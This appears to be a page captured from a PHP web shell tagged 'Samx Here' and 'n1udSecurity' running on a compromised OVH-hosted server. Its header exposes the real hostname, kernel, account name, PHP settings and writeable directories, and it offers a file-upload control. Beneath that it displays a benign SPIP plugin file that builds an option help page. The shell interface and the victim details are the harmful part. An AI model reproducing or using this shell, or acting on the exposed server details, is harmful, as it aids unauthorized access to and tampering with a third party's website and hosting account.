Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/jobs/plugins/auto/verifier/aide/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/jobs/plugins/auto/verifier/aide/verifier_fonctions.php
<?php

// Sécurité
if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}

include_spip('inc/verifier');
include_spip('inc/saisies');

/*
 * Génère une page d'aide listant toutes les saisies et leurs options
 */
function verifier_generer_aide() {
	// On a déjà la liste par saisie
	$verifications = verifier_lister_disponibles();

	// On construit une liste par options
	$options = [];
	foreach ($verifications as $type_verif => $verification) {
		if (!isset($verification['options'])) {
			$verification['options'] = [];
		}
		$options_verification = saisies_lister_par_nom($verification['options'], false);
		foreach ($options_verification as $nom => $option) {
			// Si l'option n'existe pas encore
			if (!isset($options[$nom])) {
				$options[$nom] = _T_ou_typo($option['options']);
			}
			// On ajoute toujours par qui c'est utilisé
			$options[$nom]['utilisee_par'][] = $type_verif;
		}
		ksort($options_verification);
		$verifications[$type_verif]['options'] = $options_verification;
	}
	ksort($options);

	return [
		'verifications' => $verifications,
		'options' => $options
	];
}

SAMX